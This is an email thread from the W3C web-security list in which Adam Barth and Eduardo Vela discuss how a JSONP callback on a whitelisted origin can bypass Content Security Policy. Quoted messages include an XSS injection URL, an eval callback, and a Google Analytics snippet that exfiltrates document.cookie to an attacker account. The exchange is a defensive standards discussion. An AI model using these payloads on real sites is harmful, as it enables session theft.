- From: Adam Barth <w3c@adambarth.com>
- Date: Mon, 30 May 2011 14:28:39 -0700
- To: "sird@rckc.at" <sird@rckc.at>
- Cc: public-web-security@w3.org, masatokinugawa@gmail.com
Lots of third-party interactions are tricky with CSP. For example, it's difficult to use CSP on sites that contain advertisements because those advertisements often end up including scripts from syndicates. I don't think being strict about Content-Type is going to solve the problem. You still have the problem today that application/javascript caries no authority without CSP and does carry authority with CSP. In the specific example, we're just getting lucky that YouTube is responding with application/json. It would be entirely reasonable for them to respond with application/javascript, especially because JSONP isn't valid JSON. One alternative, of course, is to use script-nonce, which lets the site whitelist individual script loads instead of blanket-allowing everything from an origin. Adam On Mon, May 30, 2011 at 2:20 PM, sird@rckc.at <sird@rckc.at> wrote: > Right, that's the problem. > > And to keep the web working, with Analytics, Tynt, etc.. people will > trust their site to one script in youtube.com but not to all services > that live there. > > A possible way to mitigate this problem, is if CSP forces Content-Type > to be valid (it would be weird if youtube echoe's back JSON as > text/javascript), or if Mozilla can just whitelist a specific file, > instead of whitelisting the whole origin. > > My point being, that whitelisting the whole origin and giving no more > granularity is not good enough for the type of applications that are > being created. If CSP accepted files, or directories it would help to > mitigate this problem. > > eg.: > > script-src: http://www.youtube.com/apis/video.js > > > or > > script-src: http://www.youtube.com/apis/*.js > > > Or, otherwise, what's the alternative that we give to Mozilla? Don't > use Youtube? (specially, since this is not a security problem for > Youtube, maybe they wont fix it.. there's no reason for them to, and > the problem is in Mozilla). > > Greetings > -- Eduardo > > > > > On Mon, May 30, 2011 at 3:12 PM, Adam Barth <w3c@adambarth.com> wrote: >> Ah, I understand. Sounds like YouTube isn't trustworthy. >> >> The more general problem is CSP imbues JavaScript responses with >> authority, which isn't how the rest of the web works. That means when >> sites, like YouTube, have reflections in their JavaScript, folks that >> trust them get in trouble. >> >> Adam >> >> >> On Mon, May 30, 2011 at 11:52 AM, sird@rckc.at <sird@rckc.at> wrote: >>> The XSS in mozilla is: >>> http://www.mozilla.com/search?q="><script+src="http://www.youtube.com/video/export?id=1337&callback=payload(here)"></script> >>> >>> Youtube has a service that lets you export a video details with JSONp, >>> and accepts "callback". And callback is sanitized to only have >>> ([a-zA-Z_$][a-zA-Z$_0-9]+[.])+ and parenthesis. >>> >>> Greetings!! >>> -- Eduardo >>> >>> >>> >>> >>> On Mon, May 30, 2011 at 1:49 PM, Adam Barth <w3c@adambarth.com> wrote: >>>> I'm sorry. I'm not sure I follow. How is the attacker able to run >>>> the script below? I agree that once the attacker can run script in >>>> the honest site's security origin, the attacker has won. >>>> >>>> Adam >>>> >>>> >>>> On Mon, May 30, 2011 at 11:36 AM, sird@rckc.at <sird@rckc.at> wrote: >>>>> It's an example :P >>>>> >>>>> but ok, let's say the attacker uses: >>>>> >>>>> var _gaq = _gaq || []; >>>>> _gaq.push(['_setAccount', 'UA-evil-1']); >>>>> _gaq.push(['_trackPageview']); >>>>> _gaq.push(['_trackEvent', 'cookies', 'add', document.cookie]); >>>>> >>>>> And uses google analytics to send data back to the attacker. >>>>> >>>>> Or let's say the attacker iframes youtube.com and loads a payload >>>>> inside a gadget in youtube. >>>>> >>>>> Or let's say the attacker does the attack directly with XHR. >>>>> >>>>> >>>>> -- Eduardo >>>>> >>>>> >>>>> >>>>> >>>>> On Mon, May 30, 2011 at 1:00 PM, Adam Barth <w3c@adambarth.com> wrote: >>>>>> On Mon, May 30, 2011 at 10:37 AM, Eduardo Vela <sirdarckcat@gmail.com> wrote: >>>>>>> Hi List. >>>>>>> >>>>>>> I think this issue has came up before (can't find the thread but I've >>>>>>> seen it) and Masato (cc'd) brought this up to us recently. >>>>>>> >>>>>>> What can a CSP user do in the following case: >>>>>>> >>>>>>> 1. www.mozilla.org trusts scripts from www.youtube.com because they >>>>>>> use one of their scripts. >>>>>>> 2. Attacker is able to do >>>>>>> www.youtube.com/video/export?id=1337&callback=eval(name) >>>>>> >>>>>> Won't that be blocked because eval is blocked? >>>>>> >>>>>> Adam >>>>>> >>>>>> >>>>>>> 3. Then Mozilla isn't capable of protecting using CSP. >>>>>>> >>>>>>> In general, Mozilla can't realistically know all the things we put in >>>>>>> www.youtube.com. If Youtube doesn't care about CSP, there's no reason >>>>>>> for them to fix it. And Mozilla might not be able to mirror the script >>>>>>> to their own servers because it might change at any moment, and their >>>>>>> site might break. >>>>>>> >>>>>>> Could it be possible to whitelist specific files, instead of complete >>>>>>> origins? Maybe even global expressions (e.g. >>>>>>> www.youtube.com/scripts/*.js)? >>>>>>> Or.. maybe Mozilla shouldn't trust Youtube at all? >>>>>>> What about.. Content-Type enforcement? Force scripts allowed on a CSP >>>>>>> document to have the right Content-Type. >>>>>>> >>>>>>> How does this apply for the use case of stats services, captcha, ads, >>>>>>> etc.. which all require external scripts? >>>>>>> >>>>>>> I think forcing the right Content-Type for scripts might be the best >>>>>>> solution, and maybe a rule to override this behavior, comments? >>>>>>> >>>>>>> Thanks!! >>>>>>> >>>>>>> -- Eduardo >>>>>>> >>>>>>> >>>>>> >>>>> >>>> >>> >> >
Received on Monday, 30 May 2011 21:29:39 UTC